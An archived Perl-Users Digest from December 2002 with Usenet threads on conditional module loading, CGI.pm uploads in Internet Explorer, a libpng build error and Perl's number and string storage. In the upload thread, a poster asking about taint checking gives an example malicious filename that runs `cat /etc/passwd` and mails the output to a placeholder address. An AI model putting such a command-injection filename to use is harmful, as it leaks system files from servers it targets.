[22103] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 4325 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Tue Dec 31 21:11:39 2002

Date: Tue, 31 Dec 2002 18:10:25 -0800 (PST)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Tue, 31 Dec 2002     Volume: 10 Number: 4325

Today's topics:
        how to load a module depending on 'if' condition ? (siob)
    Re: how to load a module depending on 'if' condition ? <rereidy@indra.com>
    Re: how to load a module depending on 'if' condition ? (Tad McClellan)
    Re: how to load a module depending on 'if' condition ? (Peter Scott)
    Re: how to load a module depending on 'if' condition ? <nobody@dev.null>
    Re: how to load a module depending on 'if' condition ? <nobull@mail.com>
    Re: IE uploads result in zero length files using CGI.pm <phignuton@_No#SpAm#_hotmail.com>
    Re: IE uploads result in zero length files using CGI.pm <phignuton@_No#SpAm#_hotmail.com>
        libpng install problem <robert.j.sipe@boeing.com>
    Re: libpng install problem (Anno Siegel)
    Re: libpng install problem <mgjv@tradingpost.com.au>
        Literal and numeric declarations- are the same? (Sara)
    Re: Literal and numeric declarations- are the same? (Anno Siegel)
    Re: Literal and numeric declarations- are the same? <mgjv@tradingpost.com.au>
    Re: Literal and numeric declarations- are the same? <goldbb2@earthlink.net>
    Re: Literal and numeric declarations- are the same? <goldbb2@earthlink.net>
    Re: Literal and numeric declarations- are the same? <mgjv@tradingpost.com.au>
    Re: Literal and numeric declarations- are the same? <nobody@dev.null>
    Re: Literal and numeric declarations- are the same? (Sara)
    Re: Literal and numeric declarations- are the same? (Anno Siegel)
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: 31 Dec 2002 06:36:59 -0800
From: cbois@exane.com (siob)
Subject: how to load a module depending on 'if' condition ?
Message-Id: <bbaa8cb2.0212310636.6eaec21c@posting.google.com>

I need to load the Win32::GUI module only if the following condition
is true. Unfortunately it seems to be not correct :

if (!$ENV{OSTYPE} eq 'linux') 
	{
	use Win32::GUI;
	};

Could you help me ?


------------------------------

Date: Tue, 31 Dec 2002 07:54:20 -0700
From: Ron Reidy <rereidy@indra.com>
Subject: Re: how to load a module depending on 'if' condition ?
Message-Id: <3E11AF9C.5020304@indra.com>

siob wrote:
> I need to load the Win32::GUI module only if the following condition
> is true. Unfortunately it seems to be not correct :
> 
> if (!$ENV{OSTYPE} eq 'linux') 
> 	{
> 	use Win32::GUI;
> 	};
> 
> Could you help me ?

perldoc -q require will give you the answers.

Ron Reidy
--
Oracle DBA



------------------------------

Date: Tue, 31 Dec 2002 09:41:06 -0600
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: how to load a module depending on 'if' condition ?
Message-Id: <slrnb13eki.8l3.tadmc@magna.augustmail.com>

siob <cbois@exane.com> wrote:
> I need to load the Win32::GUI module only if the following condition
> is true. Unfortunately it seems to be not correct :
> 
> if (!$ENV{OSTYPE} eq 'linux') 


<nitpik type="style issue">

Negative logic is easy to overlook, so you should do what you
can to make it harder to overlook.

   if ( ! $ENV{OSTYPE} eq 'linux')  # productive use of whitespace

or, better:

   if ( $ENV{OSTYPE} ne 'linux')    # switch the sense of the logical test

or, better yet (IMO):

   unless ( $ENV{OSTYPE} eq 'linux') # if's "backwards cousin"

</nitpik>


It seems to me that you've got the test backwards anyway.

You should be checking to see if you _are_ on win32 rather than
if you are not on Linux.

The way you have it, it will fail when you modify it to run
on some 3rd operating system...


> 	{
> 	use Win32::GUI;
> 	};
> 
> Could you help me ?


Sure. The first step is to understand why it is not working.

"use" happens an compile time. "if" is evaluated at runtime.
Compile time comes before runtime.

The "use" happens *before* the if is even evaluated. ie. the
if happens "too late".

The next step would be to read up on "use":

   perldoc -f use

Which tells us that "use Module LIST" is equivalent to:

    BEGIN { require Module; import Module LIST; }

That leaves us with the same problem, since BEGIN is also 
compile-time, so take out the BEGIN.  :-)
 

This ought to do it (untested):

   unless ( $ENV{OSTYPE} eq 'linux') {
      require 'Win32/GUI.pm';
      import Win32::GUI;
   }


-- 
    Tad McClellan                          SGML consulting
    tadmc@augustmail.com                   Perl programming
    Fort Worth, Texas


------------------------------

Date: Tue, 31 Dec 2002 16:29:15 GMT
From: peter@PSDT.com (Peter Scott)
Subject: Re: how to load a module depending on 'if' condition ?
Message-Id: <vBjQ9.58926$na.1469673@news2.calgary.shaw.ca>

In article <slrnb13eki.8l3.tadmc@magna.augustmail.com>,
 tadmc@augustmail.com (Tad McClellan) writes:
>siob <cbois@exane.com> wrote:
>> I need to load the Win32::GUI module only if the following condition
>> is true. Unfortunately it seems to be not correct :
>> 
>> if (!$ENV{OSTYPE} eq 'linux') 
>
><nitpik type="style issue">
>
>Negative logic is easy to overlook, so you should do what you
>can to make it harder to overlook.
>
>   if ( ! $ENV{OSTYPE} eq 'linux')  # productive use of whitespace
>
>or, better:
>
>   if ( $ENV{OSTYPE} ne 'linux')    # switch the sense of the logical test

<nitpik type="operator precedence">

Those tests are not equivalent...

[snip]
>This ought to do it (untested):
>
>   unless ( $ENV{OSTYPE} eq 'linux') {
>      require 'Win32/GUI.pm';
>      import Win32::GUI;
>   }

Might be improved by putting it in a BEGIN block so we can benefit from any
subroutine prototypes.  Can't hurt.

-- 
Peter Scott
http://www.perldebugged.com


------------------------------

Date: Tue, 31 Dec 2002 16:49:33 GMT
From: Andras Malatinszky <nobody@dev.null>
Subject: Re: how to load a module depending on 'if' condition ?
Message-Id: <3E11C9DE.6090307@dev.null>



siob wrote:

> I need to load the Win32::GUI module only if the following condition
> is true. Unfortunately it seems to be not correct :
> 
> if (!$ENV{OSTYPE} eq 'linux') 
> 	{
> 	use Win32::GUI;
> 	};
> 
> Could you help me ?
> 


Presumably what you want to do is load the module if you are under 
Windows. Testing to see if $ENV{OSTYPE} eq 'linux' is not a good way to 
do that.

First off, isn't it possible that your script will be run in a third 
environment, like Solaris?  Maybe not; I don't know your situation.

Then, note that $ENV{OSTYPE} eq 'linux' will be false under Linux (at 
least on my Linux box) because the value of the OSTYPE environment 
variable is 'Linux' not 'linux'. On my Windows 98 machine $ENV{OSTYPE} 
eq 'linux' is false as you would like it to be, but the reason is that 
there is no OSTYPE environment variable. The bottom line is that it's 
much safer to query Perl's $^O special variable, which contains your OS 
name (it returns 'linux' on my Linux box and 'MSWin32' on my Win 98 box).

Your code has other problems as well. Look at this simplified version of 
your script:

$OSTYPE='windows';

if (!$OSTYPE eq 'linux')
  	{
  	print 'OS type is not Linux';
  	};


I bet you expect this to print 'OS type is not Linux', but in fact it 
won't print anything because you are putting $OSTYPE in boolean context 
by prepending the exclamation point, so !$OSTYPE is the false boolean 
value, which is not the same as the 'linux' string. You should instead 
use one of these three options:

unless ($OSTYPE eq 'linux')
if ($OSTYPE ne 'linux')
if (!($OSTYPE eq 'linux'))






------------------------------

Date: 31 Dec 2002 17:10:26 +0000
From: Brian McCauley <nobull@mail.com>
Subject: Re: how to load a module depending on 'if' condition ?
Message-Id: <u9wulqcdx9.fsf@wcl-l.bham.ac.uk>

Ron Reidy <rereidy@indra.com> writes:

> siob wrote:
> > I need to load the Win32::GUI module only if the following condition
> > is true. Unfortunately it seems to be not correct :
> > if (!$ENV{OSTYPE} eq 'linux') 	{
> > 	use Win32::GUI;
> > 	};
> > Could you help me ?
> 
> perldoc -q require will give you the answers.

It will indeed.

However I should like to add that so will the first paragraph of:

 perldoc -f use

It explains that use() is a short-hand for something else.  If you
write it out long-hand figuring out where to put the 'if' isn't too
difficult.

The OP can, of course, not have been expected to guess that a question
about use() would be found by doing "perldoc -q require" but they
should have considered "perldoc -f use".

-- 
     \\   ( )
  .  _\\__[oo
 .__/  \\ /\@
 .  l___\\
  # ll  l\\
 ###LL  LL\\


------------------------------

Date: Mon, 30 Dec 2002 10:14:30 -0600
From: Chris Kolosiwsky <phignuton@_No#SpAm#_hotmail.com>
Subject: Re: IE uploads result in zero length files using CGI.pm
Message-Id: <q5s01v43i46u950a4ulakeun2a70p4dkin@4ax.com>

On Sun, 29 Dec 2002 15:26:19 -0500, Benjamin Goldberg
<goldbb2@earthlink.net> wrote:

>Chris Kolosiwsky wrote:
>> 
>> On Sun, 29 Dec 2002 00:31:22 -0500, Benjamin Goldberg
>> <goldbb2@earthlink.net> wrote:
>> 
>> >Chris Kolosiwsky wrote:
>> >[snip]
>> >> my $uploadedfile = $q->upload('UploadedFile');
>> >
>> >At this point, $uploadedfile is a globref which has been blessed into
>> >a class with an overloaded '""' operator.
>> >
>> >> $uploadedfile =~ s/.*[\/\\](.*)/$1/;
>> >> # only grab the file after the last / in the pathname
>> >
>> >After doing this, $uploadedfile has been forced to be a string and
>> >*only* a string.  It is no longer a filehandle.
>> 
>> Okay, but it hasn't been untainted, correct? If I'm to be accepting
>> files on a public site using this script, I would need to take steps
>> to insure that the filename itself is not a carefully crafted file
>> name like \`cat /etc/passwd|mail someone@somewhere.com\`.
>
>No, you don't have to take any such step.
>
>File::Copy would not accidentally run such a thing as a command.
>
>> How is it that you can both untaint the filename and still maintain
>> its status as strictly a filehandle?  In order to untaint the file you
>> would have to do some sort of s/// on the filename, no?
>
>You seem quite confused how $uploadedfile will be used.
>
>If you use it as:
>   open( FH, $uploadedfile );
>Then you need to untaint it.
>
>If you merely want to do:
>   while( <$uploadedfile> ) { .... }
>Or
>   copy( $uploadedfile, $somefilename );
>
>then you don't need to untaint it.
>
>> However if $uploadedfile is forced into a string, then is it a happy
>> coincidence that the "while (<$uploadedfile>)" still works
>
>If $uploadedfile is forced to a string, then while(<$uploadedfile>) WILL
>NOT work.  If you think that it does work, then you're mistaken.
>
>> in a filehandle context when the file is actually copied to the
>> relevant directory? I would think that this would not be the case,
>> however, I'm not an expert on this.
>> 
>> At any rate, as I said, this script does work with the other netscape
>> based browsers (and IE for the Mac), so is it possible that something
>> with IE for the PC is just not behaving in the correct (or broken)
>> manner?
>
>If a broken script happens to work with some browsers, then that's a
>matter of mere luck.


I think I understand now. Thank you very much for your time on this.


------------------------------

Date: Mon, 30 Dec 2002 16:59:34 -0600
From: Chris Kolosiwsky <phignuton@_No#SpAm#_hotmail.com>
Subject: Re: IE uploads result in zero length files using CGI.pm
Message-Id: <ioj11vk91uqe6ovbh3k6enbslj6htn1e9c@4ax.com>

On Mon, 30 Dec 2002 10:14:30 -0600, Chris Kolosiwsky
<phignuton@_No#SpAm#_hotmail.com> wrote:

>On Sun, 29 Dec 2002 15:26:19 -0500, Benjamin Goldberg
><goldbb2@earthlink.net> wrote:
>
>>Chris Kolosiwsky wrote:
>>> 
>>> On Sun, 29 Dec 2002 00:31:22 -0500, Benjamin Goldberg
>>> <goldbb2@earthlink.net> wrote:
>>> 
>>> >Chris Kolosiwsky wrote:
>>> >[snip]
>>> >> my $uploadedfile = $q->upload('UploadedFile');
>>> >
>>> >At this point, $uploadedfile is a globref which has been blessed into
>>> >a class with an overloaded '""' operator.
>>> >
>>> >> $uploadedfile =~ s/.*[\/\\](.*)/$1/;
>>> >> # only grab the file after the last / in the pathname
>>> >
>>> >After doing this, $uploadedfile has been forced to be a string and
>>> >*only* a string.  It is no longer a filehandle.
>>> 
>>> Okay, but it hasn't been untainted, correct? If I'm to be accepting
>>> files on a public site using this script, I would need to take steps
>>> to insure that the filename itself is not a carefully crafted file
>>> name like \`cat /etc/passwd|mail someone@somewhere.com\`.
>>
>>No, you don't have to take any such step.
>>
>>File::Copy would not accidentally run such a thing as a command.
>>
>>> How is it that you can both untaint the filename and still maintain
>>> its status as strictly a filehandle?  In order to untaint the file you
>>> would have to do some sort of s/// on the filename, no?
>>
>>You seem quite confused how $uploadedfile will be used.
>>
>>If you use it as:
>>   open( FH, $uploadedfile );
>>Then you need to untaint it.
>>
>>If you merely want to do:
>>   while( <$uploadedfile> ) { .... }
>>Or
>>   copy( $uploadedfile, $somefilename );
>>
>>then you don't need to untaint it.
>>
>>> However if $uploadedfile is forced into a string, then is it a happy
>>> coincidence that the "while (<$uploadedfile>)" still works
>>
>>If $uploadedfile is forced to a string, then while(<$uploadedfile>) WILL
>>NOT work.  If you think that it does work, then you're mistaken.
>>
>>> in a filehandle context when the file is actually copied to the
>>> relevant directory? I would think that this would not be the case,
>>> however, I'm not an expert on this.
>>> 
>>> At any rate, as I said, this script does work with the other netscape
>>> based browsers (and IE for the Mac), so is it possible that something
>>> with IE for the PC is just not behaving in the correct (or broken)
>>> manner?
>>
>>If a broken script happens to work with some browsers, then that's a
>>matter of mere luck.
>
>
>I think I understand now. Thank you very much for your time on this.


As an aside, I just wanted to again say thank you to everyone for your
help.  I finally understand what was happening.

As it turns out, the mozilla and netscape based browsers pass the
param->uploadedfile as the filename only, while IE passes the param as
the entire pathname. The reason why the file upload worked in mozilla
is that $uploadedfile fell through the s/// with no changes, thus did
not change the filehandle. IE, however, had the slashes in the
uploadedfile and thus changed it from a filehandle to a string.

Again, thank you.


Chris


------------------------------

Date: Mon, 30 Dec 2002 17:48:43 GMT
From: Robert Sipe <robert.j.sipe@boeing.com>
Subject: libpng install problem
Message-Id: <3E1086FB.6C7950A8@boeing.com>

I have been trying to install the 'libpng' package on an hp-ux 11.0
system.  I have followed the INSTALL/README procedures.  That is, I put
both zlib and libpng at the same level in the parent directory,
installed zlib first, then executed a cp scripts/makefile.hpux makefile
on libpng.  I ran a 'make test' and received the following:

 make test                        
        cc -I/opt/zlib/include -O -Ae +DA1.1 +DS2.0 -c pngtest.c
cpp: "png.h", line 329: error 4036: Can't open include file 'zlib.h'.
*** Error exit code 1


for grins I ran a find:

 find / -type f -name zlib.h
/tmp/zlib/zlib.h
/usr/local/include/zlib.h

and checked the permissions

 ll /usr/local/include/zlib.h
-rw-r--r--   1 root       sys          40900 Dec 30 09:33
/usr/local/include/zlib.h


Any idea??


------------------------------

Date: 30 Dec 2002 22:22:16 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: libpng install problem
Message-Id: <auqguo$659$2@mamenchi.zrz.TU-Berlin.DE>

Robert Sipe  <robert.j.sipe@boeing.com> wrote in comp.lang.perl.misc:
> I have been trying to install the 'libpng' package on an hp-ux 11.0
> system.  I have followed the INSTALL/README procedures.  That is, I put
> both zlib and libpng at the same level in the parent directory,
> installed zlib first, then executed a cp scripts/makefile.hpux makefile
> on libpng.  I ran a 'make test' and received the following:
> 
>  make test                        
>         cc -I/opt/zlib/include -O -Ae +DA1.1 +DS2.0 -c pngtest.c
               ^^^^^^^^^^^^^^^^^
> cpp: "png.h", line 329: error 4036: Can't open include file 'zlib.h'.
> *** Error exit code 1
> 
> 
> for grins I ran a find:
> 
>  find / -type f -name zlib.h
> /tmp/zlib/zlib.h
> /usr/local/include/zlib.h

Apparently the test environment expects include files in /opt/zlib/include.
For the moment, I'd make a symlink from /usr/local/include/zlib.h to there
and see how far you get.

Why the install process and the test environment disagree is another
question.

Anno


------------------------------

Date: Tue, 31 Dec 2002 09:20:51 +1100
From: Martien Verbruggen <mgjv@tradingpost.com.au>
Subject: Re: libpng install problem
Message-Id: <slrnb11hm3.4tt.mgjv@martien.heliotrope.home>

On Mon, 30 Dec 2002 17:48:43 GMT,
	Robert Sipe <robert.j.sipe@boeing.com> wrote:
> I have been trying to install the 'libpng' package on an hp-ux 11.0
> system.  I have followed the INSTALL/README procedures.  That is, I put
> both zlib and libpng at the same level in the parent directory,
> installed zlib first, then executed a cp scripts/makefile.hpux makefile
> on libpng.  I ran a 'make test' and received the following:

If you must post to two groups, please use the crossposting facility of
your newsreader. I just saw this message in clp.modules as well.

None of this has anything at all to do with Perl, and everything with
your OS. I don't know why you think the libpng or libz libraries are
Perl-specific, but they aren't.

Please, ask this question on a group that talks about your platform.

Martien
-- 
                        | 
Martien Verbruggen      | 
                        | The gene pool could use a little chlorine.
                        | 


------------------------------

Date: 30 Dec 2002 13:29:54 -0800
From: genericax@hotmail.com (Sara)
Subject: Literal and numeric declarations- are the same?
Message-Id: <776e0325.0212301329.35229ec@posting.google.com>

I'm in the habit of declaring numeric values outside of quotes, such
as

  my $x = 2.1;

and literals inside quotes, such as

  my $x = '2.1';

However, this may be just another useless "habit" into which I've
fallen, as it appears that Perl will make the right decision to "cast"
the value in either direction according to its context:

my $x=1.2;
my $y= '1.3';

print $x + $y."\n\n";

print $x . $y."\n\n";


produces the expected result:

 ./x.pl
2.5

1.21.3

Is there a reason then to ever choose one declaration over the other?
I presume they are stored differently (one as a binary real value and
exponent, the other as as ASCII scalar), but does that matter to the
programmer? Apart from storage considerations, programming-wise the
declarations appear to be identical.


Happy Holiaze,
Gx


------------------------------

Date: 30 Dec 2002 22:08:32 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <auqg50$659$1@mamenchi.zrz.TU-Berlin.DE>

Sara <genericax@hotmail.com> wrote in comp.lang.perl.misc:
> I'm in the habit of declaring numeric values outside of quotes, such
> as
> 
>   my $x = 2.1;
> 
> and literals inside quotes, such as
> 
>   my $x = '2.1';

Both are literals in common terminology.  The first is numeric, the
other is a string literal.

> However, this may be just another useless "habit" into which I've
> fallen, as it appears that Perl will make the right decision to "cast"
> the value in either direction according to its context:
> 
> my $x=1.2;
> my $y= '1.3';
> 
> print $x + $y."\n\n";
> 
> print $x . $y."\n\n";
> 
> 
> produces the expected result:
> 
> ./x.pl
> 2.5
> 
> 1.21.3

Indeed it does.  It is one of the strong points of Perl that you rarely
have to care whether a scalar is a string or a number.  (Of course,
proponents of strongly typed languages would object that it is one of
Perl's weaknesses.)  Conversions between numbers and strings happen as
needed.

> Is there a reason then to ever choose one declaration over the other?

Yes, simplicity.  Use quoting only for strings but not for numbers.
For strings, use the simplest quoting that is sufficient for the purpose
(that is, prefer '' over "" if you don't need variable interpolation).
It will make your code easier to follow.

> I presume they are stored differently (one as a binary real value and
> exponent, the other as as ASCII scalar),

 ...or as a native integer, a unicode string, and whatnot.  What's more,
it can have some of these values at the same time.  A Perl scalar has
many faces, but most of the time it shows you the one you want to see.

>                                           but does that matter to the
> programmer? Apart from storage considerations, programming-wise the
> declarations appear to be identical.

Quite so.  Storage considerations at this level are rather futile
in Perl.  You have little influence on what variants of a value Perl
keeps internally.  Also, program literals are typically not mass data,
so don't sweat it.  Simplicity and clarity are of far more concern.

Anno


------------------------------

Date: Tue, 31 Dec 2002 09:30:10 +1100
From: Martien Verbruggen <mgjv@tradingpost.com.au>
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <slrnb11i7h.4tt.mgjv@martien.heliotrope.home>

On 30 Dec 2002 13:29:54 -0800,
	Sara <genericax@hotmail.com> wrote:
> I'm in the habit of declaring numeric values outside of quotes, such
> as
> 
>   my $x = 2.1;
> 
> and literals inside quotes, such as
> 
>   my $x = '2.1';
> 
> However, this may be just another useless "habit" into which I've
> fallen, as it appears that Perl will make the right decision to "cast"
> the value in either direction according to its context:

Correct.

> Is there a reason then to ever choose one declaration over the other?

Perl will only do the conversions when needed. However, it is possible
for a floating point number to not be exactly representable on your
platform, and you could end up with a result that you don't like, unless
you store it as a string, or use Math::BigFloat.

> I presume they are stored differently (one as a binary real value and
> exponent, the other as as ASCII scalar), but does that matter to the
> programmer? Apart from storage considerations, programming-wise the
> declarations appear to be identical.

Perl stores variables as they were initialised, and converts to other
representations when required. A string is a string, until you multiply
it by 2. At that point Perl converts it to a number, and invalidates the
string representation. When the time comes to print the number, or
concatenate it with another string, perl creates a new string
representation. When Perl converts a string to a number, loss of
precision can occur, since the number needs to be representable in its
binary format.

Some things that look like numbers don't really fit in an integer
representation. Think of 10 digit phone numbers, or tax file numbers and
stuff like that. If you're not careful, Perl will happily treat those as
numbers, and store them as a float (but only if you ask it to by not
assigning the value as a string, or by putting it in some mathematical
operation).

Check out the perlnumber documentation for a bit more on this. I believe
that there's also an FAQ on floating point precision.


I normally initialise scalars without worrying too much about it. I use
quotes when I inted the thing to be a string, and leave them off when I
intend it to be a number, irrespective of whether it's all digits or
not.

Martien
-- 
                        | 
Martien Verbruggen      | Useful Statistic: 75% of the people make up
                        | 3/4 of the population.
                        | 


------------------------------

Date: Tue, 31 Dec 2002 03:16:51 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <3E115273.BD4AA6C1@earthlink.net>

Martien Verbruggen wrote:
[snip]
> Perl stores variables as they were initialised, and converts to other
> representations when required. A string is a string, until you
> multiply it by 2. At that point Perl converts it to a number, and
> invalidates the string representation.

Are you sure about this?  I thought that perl keeps both representations
around -- in other words, the string is now internally a PVNV, where it
had been formerly just a PV.

-- 
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r  coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);


------------------------------

Date: Tue, 31 Dec 2002 03:29:42 -0500
From: Benjamin Goldberg <goldbb2@earthlink.net>
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <3E115576.60D8B7EF@earthlink.net>

Sara wrote:
> 
> I'm in the habit of declaring numeric values outside of quotes, such
> as
> 
>   my $x = 2.1;
> 
> and literals inside quotes, such as
> 
>   my $x = '2.1';

Both are literals -- one's a numeric literal, the other's a string
literal.

[snip]
> Is there a reason then to ever choose one declaration over the other?

  perl -wle "print 1e7 == '1e7'"
  perl -wle "print 1e7 eq '1e7'"

Or what if you want the string "010101"?  Without the quotes, perl will
interpret it as an octal number (whose decimal version is 4161).

> I presume they are stored differently (one as a binary real value and
> exponent, the other as as ASCII scalar), but does that matter to the
> programmer? Apart from storage considerations, programming-wise the
> declarations appear to be identical.

They are approximatly the same if and only if the string, when numified
then stringified, produces the same string as you started with.

(Or the number, if stringified the numified, produces the same number as
you started with.  This usually isn't a worry, unless you've got one of
them platform independent NaN or Inf thingies, like from 1e9999... 
Strangely, on ActiveState perl5.6.1, getting a NaN type value is a bit
hard; you can't simply do:

   perl -e "print 1e999 - 1e999"

But have to do something like:

   perl -e "print 1e999 - ($x=1e999)"

-- 
$..='(?:(?{local$^C=$^C|'.(1<<$_).'})|)'for+a..4;
$..='(?{print+substr"\n !,$^C,1 if $^C<26})(?!)';
$.=~s'!'haktrsreltanPJ,r  coeueh"';BEGIN{${"\cH"}
|=(1<<21)}""=~$.;qw(Just another Perl hacker,\n);


------------------------------

Date: Wed, 1 Jan 2003 01:07:11 +1100
From: Martien Verbruggen <mgjv@tradingpost.com.au>
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <slrnb1394f.4tt.mgjv@martien.heliotrope.home>

On Tue, 31 Dec 2002 03:16:51 -0500,
	Benjamin Goldberg <goldbb2@earthlink.net> wrote:
> Martien Verbruggen wrote:
> [snip]
>> Perl stores variables as they were initialised, and converts to other
>> representations when required. A string is a string, until you
>> multiply it by 2. At that point Perl converts it to a number, and
>> invalidates the string representation.
> 
> Are you sure about this?  I thought that perl keeps both representations
> around -- in other words, the string is now internally a PVNV, where it
> had been formerly just a PV.

It keeps all representations around, but it does not create all
representations right away, just when it needs them. And even when it
keeps representations around, it invalidates them when necessary, and
will regenerate them when required. The FLAGS field of the SV is
responsible for keeping track of which bit of the SV are valid at any
time.


IIRC when a scalar is initialised with an integer constant, an IV is
created with IOK and pIOK set. If the scalar is used in string context,
the PV part is filled out, and POK and pPOK are set. If the scalar is
initialised with a string, and subsequently is used in numeric context,
the opposite happens. In other words, a scalar's various slots only get
filled when needed. Devel::Peek should be able to show us some of this:

$ perl -MDevel::Peek
$foo = 2;
Dump $foo;
$foo eq "foo";
Dump $foo;
__END__
SV = IV(0x80fd5d4) at 0x80fbaa8
  REFCNT = 1
  FLAGS = (IOK,pIOK)
  IV = 2
SV = PVIV(0x80f08e0) at 0x80fbaa8
  REFCNT = 1
  FLAGS = (IOK,POK,pIOK,pPOK)
  IV = 2
  PV = 0x80fe268 "2"\0
  CUR = 1
  LEN = 2

$ perl -MDevel::Peek
$foo = "2";
Dump $foo;
$foo == 3;   
Dump $foo;
__END__
SV = PV(0x80f04ac) at 0x80fbaa8
  REFCNT = 1
  FLAGS = (POK,pPOK)
  PV = 0x80fe478 "2"\0
  CUR = 1
  LEN = 2
SV = PVNV(0x80f0f80) at 0x80fbaa8
  REFCNT = 1
  FLAGS = (NOK,POK,pNOK,pPOK)
  IV = 0
  NV = 2
  PV = 0x80fe478 "2"\0
  CUR = 1
  LEN = 2

Similar things happen for the IsUV (unsigned), NOK (float), and ROK
(reference) flags, and their respective slots. When a scalar has both
IOK and POK set, and is used in a numeric context that changes it's
content (for example addition), the IOK flag stays set (or becomes NOK)
and the POK flag disappearsi, _even_ though the PV part of the scalar is
still present; it is just no longer valid.

$ perl -MDevel::Peek;
$foo = 2;
Dump $foo;
$foo eq "foo";
Dump $foo;
$foo++;
Dump $foo;
$foo += 1.5;
Dump $foo;
__END__
SV = IV(0x80fd5a4) at 0x80fba98
  REFCNT = 1
  FLAGS = (IOK,pIOK)
  IV = 2
SV = PVIV(0x80f08e0) at 0x80fba98
  REFCNT = 1
  FLAGS = (IOK,POK,pIOK,pPOK)
  IV = 2
  PV = 0x80fe238 "2"\0
  CUR = 1
  LEN = 2
SV = PVIV(0x80f08e0) at 0x80fba98
  REFCNT = 1
  FLAGS = (IOK,pIOK)
  IV = 3
  PV = 0x80fe238 "2"\0
  CUR = 1
  LEN = 2
SV = PVNV(0x80f0f68) at 0x80fba98
  REFCNT = 1
  FLAGS = (NOK,pNOK)
  IV = 3
  NV = 4.5
  PV = 0x80fe238 "2"\0
  CUR = 1
  LEN = 2

As you can see, the PV value stays "2", once it's set, and the IV value
of the last one is still 3, even though the real value of the scalar (NV
slot) is 4.5. Once you use this last one in a string context, its PV
will go to "4.5", and POK and pPOK will be set again.

Martien
-- 
                        | 
Martien Verbruggen      | Think of the average person. Half of the
                        | people out there are dumber.
                        | 


------------------------------

Date: Tue, 31 Dec 2002 14:54:13 GMT
From: Andras Malatinszky <nobody@dev.null>
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <3E11AED2.2030209@dev.null>



Sara wrote:

> I'm in the habit of declaring numeric values outside of quotes, such
> as
> 
>   my $x = 2.1;
> 
> and literals inside quotes, such as
> 
>   my $x = '2.1';
> 
> However, this may be just another useless "habit" into which I've
> fallen, as it appears that Perl will make the right decision to "cast"
> the value in either direction according to its context:
> 
> my $x=1.2;
> my $y= '1.3';
> 
> print $x + $y."\n\n";
> 
> print $x . $y."\n\n";
> 
> 
> produces the expected result:
> 
> ./x.pl
> 2.5
> 
> 1.21.3
> 


Yes, but if you pick a different $x and $y, the result will be perhaps a 
little more surprising:

my $x= 0.9999999999999999 ;
my $y='0.9999999999999999';
print $x + $y."\n\n";
print $x . $y."\n\n";

2

10.9999999999999999



------------------------------

Date: 31 Dec 2002 12:25:32 -0800
From: genericax@hotmail.com (Sara)
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <776e0325.0212311225.39c3f28e@posting.google.com>

Thanks for assisting me with these details. Often I "inherit" someone
else's code here, I run into declarations like:

   my $x='2.1';

which I find somewhat vexing. Part of me screams "REMOVE THOSE
QUOTES!" while another more conservative side of me says "leave them
there, it ain't broke!"..

So despite the generality of my post, the question actually arose out
of this sort of declaration (which I would never make, but others here
seem to get a kick out of..).

I do appreciate that Perl adapts the value to the current context, and
as you say that's both a useful adaption, and a potential for errors
not found in typed languages. The 0.99999 example was particularly
curious! For my tastes I'd rather let the language do the work.

Cheers and Happy Gnu Year to everyone!

Gx


------------------------------

Date: 31 Dec 2002 21:08:10 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Literal and numeric declarations- are the same?
Message-Id: <aut0vq$ofu$1@mamenchi.zrz.TU-Berlin.DE>

Sara <genericax@hotmail.com> wrote in comp.lang.perl.misc:
> Thanks for assisting me with these details. Often I "inherit" someone
> else's code here, I run into declarations like:
> 
>    my $x='2.1';
> 
> which I find somewhat vexing. Part of me screams "REMOVE THOSE
> QUOTES!" while another more conservative side of me says "leave them
> there, it ain't broke!"..

Follow your first reaction ant take them out.  The probability of introducing
a bug this way is minimal, and if the author actually used the quotes for
a reason, there would probably be a comment.

If the code is critical, you could treat it as a formal refactoring step
and use a test battery before and after each change, but in most cases
that would be overkill.

> So despite the generality of my post, the question actually arose out
> of this sort of declaration (which I would never make, but others here
> seem to get a kick out of..).

It's more like a form of insecurity.  Since it is sometimes necessary
to put a literal in quotes, it may appear safe to put quotes around
every literal.  However, that keeps the compiler from detecting (early)
when a non-number appears where  number was meant, so it's actually
slightly less safe.  It is also, and foremost, distracting and irritating
to a reader of the program, as you experience.

Anno


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 4325
***************************************


home help back first fref pref prev next nref lref last post